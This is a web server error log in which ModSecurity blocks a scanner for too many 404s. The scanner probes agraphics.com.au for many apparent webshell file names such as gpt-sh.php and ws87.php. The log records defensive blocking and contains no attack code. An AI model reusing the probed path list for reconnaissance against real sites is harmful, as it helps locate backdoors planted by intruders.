[Sat Apr 18 23:24:26.118586 2026] [:error] [pid 34290:tid 34321] [client 20.203.141.81:56961] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "aeOiKhqX6WpmmAXOBi8v5QAAAcI"]
[Sat Apr 18 23:24:26.870067 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:32207] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "aeOiKv1e7hG8DAeABB9NPAAAARA"]
[Sat Apr 18 23:24:27.401305 2026] [:error] [pid 9864:tid 9908] [client 20.203.141.81:61823] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "aeOiK4CFeowknfXHM7k3-AAAAEM"]
[Sat Apr 18 23:24:28.092641 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:56979] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "aeOiLP1e7hG8DAeABB9NQQAAARQ"]
[Sat Apr 18 23:24:28.633118 2026] [:error] [pid 32677:tid 32685] [client 20.203.141.81:41206] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "aeOiLBngmUE3LdC-wP72ZgAAAkU"]
[Sat Apr 18 23:24:29.256264 2026] [:error] [pid 32647:tid 32660] [client 20.203.141.81:7902] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "aeOiLUkxooM0iRo6e5410AAAAgo"]
[Sat Apr 18 23:24:30.291742 2026] [:error] [pid 32647:tid 32664] [client 20.203.141.81:41164] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeOiLkkxooM0iRo6e5411AAAAg4"]
[Sat Apr 18 23:24:31.418485 2026] [:error] [pid 32647:tid 32672] [client 20.203.141.81:58532] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeOiL0kxooM0iRo6e5412QAAAhY"]
[Sat Apr 18 23:24:32.150567 2026] [:error] [pid 13023:tid 13032] [client 20.203.141.81:54844] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeOiMP1e7hG8DAeABB9NSAAAAQc"]
[Sat Apr 18 23:24:32.884616 2026] [:error] [pid 9864:tid 9928] [client 20.203.141.81:63733] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aeOiMICFeowknfXHM7k4AAAAAFY"]
[Sat Apr 18 23:24:33.733045 2026] [:error] [pid 34288:tid 34315] [client 20.203.141.81:47617] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "aeOiMeTIiy__PtiLmpngswAAAZc"]
[Sat Apr 18 23:24:34.760478 2026] [:error] [pid 32647:tid 32655] [client 20.203.141.81:51728] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "aeOiMkkxooM0iRo6e5413wAAAgU"]
[Sat Apr 18 23:24:35.348251 2026] [:error] [pid 9864:tid 9929] [client 20.203.141.81:37903] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "aeOiM4CFeowknfXHM7k4BAAAAFc"]
[Sat Apr 18 23:24:36.264269 2026] [:error] [pid 34290:tid 34338] [client 20.203.141.81:58525] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "aeOiNBqX6WpmmAXOBi8v5gAAAdM"]
[Sat Apr 18 23:24:36.880804 2026] [:error] [pid 9863:tid 9882] [client 20.203.141.81:32787] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "aeOiNDjjiypiFrTucbLcPgAAAAk"]
[Sat Apr 18 23:24:37.839069 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:64228] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "aeOiNf1e7hG8DAeABB9NTwAAAQE"]
[Sat Apr 18 23:24:38.545729 2026] [:error] [pid 32678:tid 32728] [client 20.203.141.81:64215] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "aeOiNhUlAXU_ZWUu5y8ZcgAAApU"]
[Sat Apr 18 23:24:39.410667 2026] [:error] [pid 9970:tid 9974] [client 20.203.141.81:54843] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "aeOiNyYdRLRhVmaIMx3wigAAAMA"]
[Sat Apr 18 23:24:39.901543 2026] [:error] [pid 9863:tid 9884] [client 20.203.141.81:32216] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "aeOiNzjjiypiFrTucbLcQgAAAAs"]
[Sat Apr 18 23:24:40.602866 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:31013] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "aeOiOCYdRLRhVmaIMx3wjgAAANY"]
[Sat Apr 18 23:24:41.376760 2026] [:error] [pid 13023:tid 13042] [client 20.203.141.81:58528] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "aeOiOf1e7hG8DAeABB9NUAAAARE"]
[Sat Apr 18 23:24:42.229768 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:47677] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "aeOiOqzb5knECIY-C-isaQAAAI0"]
[Sat Apr 18 23:24:42.845081 2026] [:error] [pid 9864:tid 9910] [client 20.203.141.81:61783] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeOiOoCFeowknfXHM7k4CwAAAEU"]
[Sat Apr 18 23:24:43.369009 2026] [:error] [pid 9864:tid 9925] [client 20.203.141.81:41739] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeOiO4CFeowknfXHM7k4DAAAAFM"]
[Sat Apr 18 23:24:43.955912 2026] [:error] [pid 9864:tid 9926] [client 20.203.141.81:47649] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeOiO4CFeowknfXHM7k4DgAAAFQ"]
[Sat Apr 18 23:24:44.972001 2026] [:error] [pid 32678:tid 32727] [client 20.203.141.81:37889] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeOiPBUlAXU_ZWUu5y8ZewAAApQ"]
[Sat Apr 18 23:24:45.749881 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:54787] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeOiPRUlAXU_ZWUu5y8ZgQAAApE"]
[Sat Apr 18 23:24:46.226296 2026] [:error] [pid 34290:tid 34322] [client 20.203.141.81:63690] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeOiPhqX6WpmmAXOBi8v6wAAAcM"]
[Sat Apr 18 23:24:46.775065 2026] [:error] [pid 32678:tid 32712] [client 20.203.141.81:54828] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeOiPhUlAXU_ZWUu5y8ZgwAAAoU"]
[Sat Apr 18 23:24:47.488029 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:51745] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeOiPyYdRLRhVmaIMx3wlwAAAMk"]
[Sat Apr 18 23:24:48.274299 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:31004] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeOiQEkxooM0iRo6e5415QAAAgw"]
[Sat Apr 18 23:24:48.795110 2026] [:error] [pid 9863:tid 9891] [client 20.203.141.81:56991] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeOiQDjjiypiFrTucbLcRQAAABI"]
[Sat Apr 18 23:24:49.495350 2026] [:error] [pid 34288:tid 34297] [client 20.203.141.81:8130] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeOiQeTIiy__PtiLmpngtwAAAYU"]
[Sat Apr 18 23:24:50.653920 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:64227] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeOiQqzb5knECIY-C-isbQAAAIY"]
[Sat Apr 18 23:24:52.008089 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:64198] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeOiRBUlAXU_ZWUu5y8ZhwAAApE"]
[Sat Apr 18 23:24:52.821857 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:32773] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeOiRCYdRLRhVmaIMx3wnAAAANU"]
[Sat Apr 18 23:24:53.666636 2026] [:error] [pid 9864:tid 9922] [client 20.203.141.81:39880] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeOiRYCFeowknfXHM7k4EwAAAFA"]
[Sat Apr 18 23:24:54.787029 2026] [:error] [pid 34290:tid 34335] [client 20.203.141.81:32808] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fsgdjkl.php"] [unique_id "aeOiRhqX6WpmmAXOBi8v8AAAAdA"]
[Sat Apr 18 23:24:55.521201 2026] [:error] [pid 32678:tid 32712] [client 20.203.141.81:7330] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aeOiRxUlAXU_ZWUu5y8ZiQAAAoU"]
[Sat Apr 18 23:24:56.684574 2026] [:error] [pid 34288:tid 34298] [client 20.203.141.81:63712] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aeOiSOTIiy__PtiLmpnguQAAAYY"]
[Sat Apr 18 23:24:57.786729 2026] [:error] [pid 32677:tid 32701] [client 20.203.141.81:63723] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aeOiSRngmUE3LdC-wP72cgAAAlU"]
[Sat Apr 18 23:24:58.896742 2026] [:error] [pid 9864:tid 9910] [client 20.203.141.81:58513] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aeOiSoCFeowknfXHM7k4GwAAAEU"]
[Sat Apr 18 23:25:00.414136 2026] [:error] [pid 34288:tid 34310] [client 20.203.141.81:63689] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jlex.php"] [unique_id "aeOiTOTIiy__PtiLmpngugAAAZI"]
[Sat Apr 18 23:25:01.728850 2026] [proxy_fcgi:error] [pid 9970:tid 9980] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:01.971058 2026] [proxy_fcgi:error] [pid 9970:tid 9986] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:02.215361 2026] [proxy_fcgi:error] [pid 9970:tid 9993] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:02.462486 2026] [proxy_fcgi:error] [pid 9970:tid 9995] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:02.701470 2026] [proxy_fcgi:error] [pid 9970:tid 9977] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:02.949968 2026] [proxy_fcgi:error] [pid 9970:tid 9998] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:03.189495 2026] [proxy_fcgi:error] [pid 9970:tid 9992] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:03.467091 2026] [proxy_fcgi:error] [pid 9970:tid 9985] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:03.708037 2026] [proxy_fcgi:error] [pid 9970:tid 9988] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:03.955212 2026] [proxy_fcgi:error] [pid 9970:tid 9979] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:04.237458 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 20.203.141.81:32249] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:25:04.473452 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:32249] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "aeOiUCYdRLRhVmaIMx3wrwAAAM0"]
[Sat Apr 18 23:25:05.023818 2026] [:error] [pid 9864:tid 9921] [client 20.203.141.81:63702] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "aeOiUYCFeowknfXHM7k4JAAAAE8"]
[Sat Apr 18 23:25:05.687520 2026] [:error] [pid 34290:tid 34342] [client 20.203.141.81:64225] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "aeOiURqX6WpmmAXOBi8v9wAAAdc"]
[Sat Apr 18 23:25:06.481881 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:41791] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "aeOiUv1e7hG8DAeABB9NZAAAARg"]
[Sat Apr 18 23:25:07.635648 2026] [:error] [pid 34288:tid 34305] [client 20.203.141.81:37924] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "aeOiU-TIiy__PtiLmpngwgAAAY0"]
[Sat Apr 18 23:25:08.678567 2026] [:error] [pid 34288:tid 34304] [client 20.203.141.81:32236] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "aeOiVOTIiy__PtiLmpngxAAAAYw"]
[Sat Apr 18 23:25:11.524691 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:58547] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "aeOiV6zb5knECIY-C-iseAAAAJA"]
[Sat Apr 18 23:25:12.421392 2026] [:error] [pid 9865:tid 9942] [client 20.203.141.81:63715] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sts.php"] [unique_id "aeOiWKzb5knECIY-C-isewAAAIU"]
[Sat Apr 18 23:25:13.095487 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:31010] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Geforce.php"] [unique_id "aeOiWazb5knECIY-C-isfgAAAIA"]
[Sat Apr 18 23:25:13.791183 2026] [:error] [pid 32678:tid 32708] [client 20.203.141.81:8172] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Geforce.php"] [unique_id "aeOiWRUlAXU_ZWUu5y8ZlQAAAoE"]
